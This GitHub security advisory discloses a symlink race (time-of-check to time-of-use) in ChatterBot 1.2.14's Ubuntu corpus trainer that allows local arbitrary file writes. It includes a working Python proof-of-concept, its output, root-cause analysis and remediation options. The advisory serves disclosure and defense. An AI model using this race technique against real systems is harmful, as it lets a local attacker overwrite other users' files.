Skip to content

ChatterBot UbuntuCorpusTrainer symlink race permits arbitrary writes after GHSA-wvrh fix

Moderate
gunthercox published GHSA-j5w9-pxxc-fwqh Aug 25, 2026

Package

pip ChatterBot (pip)

Affected versions

= 1.2.14

Patched versions

>= 1.2.15

Description

ChatterBot UbuntuCorpusTrainer symlink race permits arbitrary writes after GHSA-wvrh fix

Summary

ChatterBot 1.2.14 added checks in UbuntuCorpusTrainer.extract() to reject a pre-existing symlink at the extraction destination and to reject tar symlink or hard-link members. Those checks do not close the race between validating the destination directory and calling tar.extractall().

A local attacker who can modify the predictable ~/ubuntu_data/ubuntu_dialogs path while another user or privileged process runs the Ubuntu corpus trainer can replace the checked directory with a symlink before extraction starts. The archive is then extracted through the symlink, writing attacker-controlled archive contents into the symlink target.

Impact

This is an incomplete fix for the same local arbitrary-write class as GHSA-wvrh-2f4m-924v. The bypass requires local filesystem access and timing the victim's training run, so attack complexity is higher than the original pre-planted symlink case. When the race is won, archive files are written outside the intended extraction directory through the attacker's symlink.

Affected Versions and Policy Check

Latest main at commit 2d909e2 and latest release tag 1.2.14 were revalidated. Both contain the vulnerable UbuntuCorpusTrainer.extract() implementation. The project SECURITY.md states that GitHub private vulnerability reporting is the accepted reporting channel. The vulnerable version range for this bypass is 1.2.14, the release that contains the incomplete GHSA-wvrh fix.

Reproduction

The proof below uses the current 1.2.14 code path and schedules the filesystem swap exactly after ChatterBot completes its symlink and tar-member validation but before the real tarfile.TarFile.extractall() call. That models the race window available to a local process watching the predictable destination path.

  1. Check out ChatterBot 1.2.14 or current master.
  2. Run this script from the repository root.
import importlib.util
import os
import shutil
import sys
import tarfile
import tempfile
import types
from pathlib import Path

# Load chatterbot/trainers.py without importing optional runtime dependencies.
chatterbot_pkg = types.ModuleType('chatterbot')
chatterbot_mod = types.ModuleType('chatterbot.chatterbot')
conversation_mod = types.ModuleType('chatterbot.conversation')
class ChatBot: pass
class Statement: pass
chatterbot_mod.ChatBot = ChatBot
conversation_mod.Statement = Statement
sys.modules.setdefault('chatterbot', chatterbot_pkg)
sys.modules['chatterbot.chatterbot'] = chatterbot_mod
sys.modules['chatterbot.conversation'] = conversation_mod
spec = importlib.util.spec_from_file_location('cb_trainers_under_test', 'chatterbot/trainers.py')
module = importlib.util.module_from_spec(spec)
spec.loader.exec_module(module)
UbuntuCorpusTrainer = module.UbuntuCorpusTrainer

root = Path(tempfile.mkdtemp(prefix='cb_pvr_gate_'))
try:
    data_dir = root / 'ubuntu_data'
    data_path = data_dir / 'ubuntu_dialogs'
    outside = root / 'attacker_target'
    data_dir.mkdir()
    outside.mkdir()

    src = root / 'src'
    src.mkdir()
    (src / 'pwned.txt').write_text('marker from tar extraction\n')
    archive = root / 'corpus.tar'
    with tarfile.open(archive, 'w') as tar:
        tar.add(src / 'pwned.txt', arcname='pwned.txt')

    trainer = UbuntuCorpusTrainer.__new__(UbuntuCorpusTrainer)
    trainer.disable_progress = True
    trainer.data_directory = str(data_dir)
    trainer.data_path = str(data_path)
    trainer.TrainerInitializationException = Exception
    trainer.chatbot = types.SimpleNamespace(logger=types.SimpleNamespace(info=lambda *a, **k: None))

    original_extractall = tarfile.TarFile.extractall
    swapped = {'done': False}

    def attacker_scheduled_extractall(self, path='.', members=None, *, numeric_owner=False):
        if not swapped['done']:
            if os.path.isdir(data_path) and not os.path.islink(data_path):
                shutil.rmtree(data_path)
            os.symlink(outside, data_path)
            swapped['done'] = True
        return original_extractall(self, path, members, numeric_owner=numeric_owner)

    tarfile.TarFile.extractall = attacker_scheduled_extractall
    try:
        trainer.extract(str(archive))
    finally:
        tarfile.TarFile.extractall = original_extractall

    outside_marker = outside / 'pwned.txt'
    print(f'swapped_after_validation={swapped["done"]}')
    print(f'data_path_is_symlink={os.path.islink(data_path)}')
    print(f'outside_marker_exists={outside_marker.exists()}')
    print(f'outside_marker_content={outside_marker.read_text().strip()}')
finally:
    shutil.rmtree(root, ignore_errors=True)

Observed output:

swapped_after_validation=True
data_path_is_symlink=True
outside_marker_exists=True
outside_marker_content=marker from tar extraction

Root Cause and Technical Details

UbuntuCorpusTrainer.extract() checks the destination once, then creates it if missing, then performs member validation, and finally calls tar.extractall() using the same path string:

if os.path.islink(self.data_path):
    raise self.TrainerInitializationException(...)

if not os.path.exists(self.data_path):
    os.makedirs(self.data_path)
...
tar.extractall(path, members, numeric_owner=numeric_owner)

The validation does not hold an opened directory file descriptor, does not make the extraction target private, and does not re-check the resolved destination immediately before each file write. A local process can therefore replace the destination directory with a symlink after the check has passed. tarfile.extractall() follows that symlink while creating extracted files.

The tar-member link checks work for malicious symlink or hard-link entries inside the archive, and the initial os.path.islink(self.data_path) check works for a symlink planted before extraction begins. The remaining issue is the time-of-check to time-of-use gap on the destination itself.

Remediation

Avoid extracting into a path that can be swapped after validation. Safer options include:

  • Create a new private temporary directory with restrictive permissions, extract there, then atomically rename it into place only after validation succeeds.
  • Open and operate relative to a trusted directory file descriptor, and reject symlinks during each component creation.
  • Re-check that the resolved extraction root is still the intended directory immediately before every member write, not only before extractall().
  • Avoid extractall() for this path and implement member extraction with explicit openat-style checks where available.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
High
Privileges required
Low
User interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:H

CVE ID

No known CVE

Weaknesses

Improper Link Resolution Before File Access ('Link Following')

The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource. Learn more on MITRE.

Time-of-check Time-of-use (TOCTOU) Race Condition

The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. Learn more on MITRE.

Credits